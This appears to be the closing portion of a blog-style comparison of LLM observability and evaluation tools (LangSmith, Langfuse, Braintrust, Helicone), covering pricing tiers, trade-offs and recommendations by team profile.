Deepest strength	LangGraph node-level agent tracing	Framework-agnostic self-hosted observability + evals	CI/CD-gated eval workflows	Fastest integration, cost/usage visibility
Structural weak point	Value drops outside LangChain/LangGraph	Enterprise self-host still requires ops-heavy ClickHouse	Scorer quality is entirely on you	Shallow on multi-step agent state, adds proxy latency
Entry pricing signal	Free tier ~5k traces/mo; paid tier ~$99/mo	Free cloud tier ~50k units/mo; self-host free; paid cloud from ~$29/mo	Free tier ~10k scores/mo; paid tier ~$249/mo	Usage-based, generous free tier
Best for	LangGraph-native agent teams	Data-residency-sensitive or cost-scaling-averse teams	Teams moving evals into CI as a merge gate	Teams that mainly need spend/usage visibility fast

(Pricing figures reflect publicly listed tiers as of August 2026 and change frequently — verify current numbers on each vendor's pricing page before budgeting.)

An independent read

If you strip away the positioning, the honest takeaway is that these four products aren't really competing for the same budget line as often as the "LLM observability tools compared" headline implies. A team that adopts Braintrust for CI-gated evals will often also want Langfuse or LangSmith for exploratory trace debugging during incidents, because eval scores tell you something broke but not always why. A team using Helicone for cost visibility across API keys will frequently layer a trace-first tool on top once their agents get complex enough that "which call cost what" stops being the interesting question. The real overlap — and the place an actual either/or decision exists — is between LangSmith and Langfuse, because they occupy the same trace-first niche and genuinely are substitutes for each other, differentiated mainly by framework affinity and hosting philosophy rather than by category.

The self-hosting story deserves one more caveat: "free and open source" is doing a lot of work in Langfuse's pitch, and it's earned — the MIT core is real — but free software still costs engineering time to operate well. A three-person startup evaluating "$199/mo Langfuse Pro" against "free self-hosted Langfuse plus someone's Tuesday afternoons managing ClickHouse" should actually run that math, not assume free means cheaper.

Which reader profile should pick which option

You're building agents on LangGraph and want the deepest possible visibility into graph execution with the least instrumentation effort → LangSmith. Don't fight the framework affinity; it's the whole value proposition.
You need to self-host for compliance, you're wary of usage-based pricing at scale, or you want a tool that works the same whether you're on LangChain, LlamaIndex, or raw API calls → Langfuse. Budget the ops time for self-hosting honestly, or start on their cloud free tier and re-evaluate once volume is real.
Your team already treats broken outputs as bugs and wants that enforced by CI rather than caught in production → Braintrust, but only if you're willing to invest real effort in scorer design — the tool won't do that part for you.
You need cost and usage visibility across many API keys or teams, fast, and your debugging problems are shallow enough that a proxy's view of individual requests is enough → Helicone. Don't reach for it as your only tool once your agents get genuinely multi-step; you'll outgrow its depth before you outgrow its price.

None of these is a universal winner, and any comparison that hands you one is answering a question you didn't ask.

Discussion: for teams running agentic workflows with five-plus LLM calls per user request, at what point does the added network hop from a proxy-based tool like Helicone actually show up in your p99 latency budget — have you measured it, or is it an assumption you're carrying from a single-call mental model?

Sources: